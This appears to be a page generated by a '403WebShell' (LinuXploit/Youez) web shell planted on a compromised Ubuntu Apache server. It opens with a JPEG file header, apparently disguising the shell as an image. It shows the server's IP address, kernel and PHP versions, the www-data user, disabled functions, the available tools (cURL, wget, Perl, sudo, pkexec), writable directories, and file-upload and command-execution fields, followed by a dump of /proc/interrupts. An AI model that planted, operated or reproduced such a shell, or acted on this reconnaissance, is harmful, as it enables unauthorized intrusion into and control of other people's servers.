????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.21
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
   0:         20          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      timer
   8:        323          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      rtc0
   9:          2          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   acpi
  10:        109          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      ipmi_si
  22:         75          0         25          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb2
  23:        194          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb1
  72:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR_MSI-edge      dmar0
  73:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  74:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  75:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  76:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  77:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  78:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  79:   55919990   52434394   45275844   64561316   83668291  104481562          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  80:   44726705   39178332   27469637   32573526   40483798   50023240          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  81:   42577169   35453667   26866807   30544557   39310933   47739279          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  82:   64289018   45259699   39975356   38437763   62100077   77287296          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  83:   74409407   47754617   41644178   58331676   59030917   91188010          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  84:  103103799   43471968   46754121   73185801   99885744   99720118          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  85:    4201222    8198322    3690519    4105411    5491928    4775774          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  86:    3946176    6238354    3118806    3296649    4951382    4210710          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  87:    3569098    6109228    3026770    2977656    3766224    3987605          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  88:    5345765    6663893    3479138    3237175    5356695    4647386          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  89:    5433681    6518640    3724945    4757035    4377727    5138644          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  90:    6365477    6519980    3909278    4600231    6547913    4805209          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  91:    6981298   12450596    7553777    5180913   10346890   13558461          0          0          0          0          0          0  IR-PCI-MSI-edge      ahci
  92:         12          0 1173679749          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-tx-0
  93:          1          0          0 2402734485          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-1
  94:          1          0          0          0 1889133383          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-2
  95:          1          0          0          0          0 2228605865          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-3
  96: 2158104449          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-4
 NMI:    2985103    2783357    2773644    2748220    2898576    2994581    1656072    1671697    1689945    1660169    1667147    1652765   Non-maskable interrupts
 LOC: 2733942625 2312364823 2324934907 2323800218 2552739718 2744705848 3954729200 3825813727 3854720890 3797717986 3819906339 3788488568   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:    2985103    2783357    2773644    2748220    2898576    2994581    1656072    1671697    1689945    1660169    1667147    1652765   Performance monitoring interrupts
 IWI:   72359437   99886351   91786709   39795516   66420303   70786193   24132618   25448277   24356550   31167992   28243235   26445028   IRQ work interrupts
 RTR:         11          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:  375799040  300868744  279948843  334899350  320815249  323383479  136318600  136515719  133559591  133118553  132931420  132309786   Rescheduling interrupts
 CAL:   24096446   19830118   18758202   21407814   23362823   24489693   10249437   10765022   10935670   10874187   11122378   10508910   Function call interrupts
 TLB:   20639678   16975339   15901922   18336663   20053515   20925816    9503021    9991299   10182556   10112568   10372179    9735111   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:     382786     382786     382786     382786     382786     382786     382786     382786     382786     382786     382786     382786   Machine check polls
 ERR:          0
 MIS:          0

Youez - 2016 - github.com/yon3zu
LinuXploit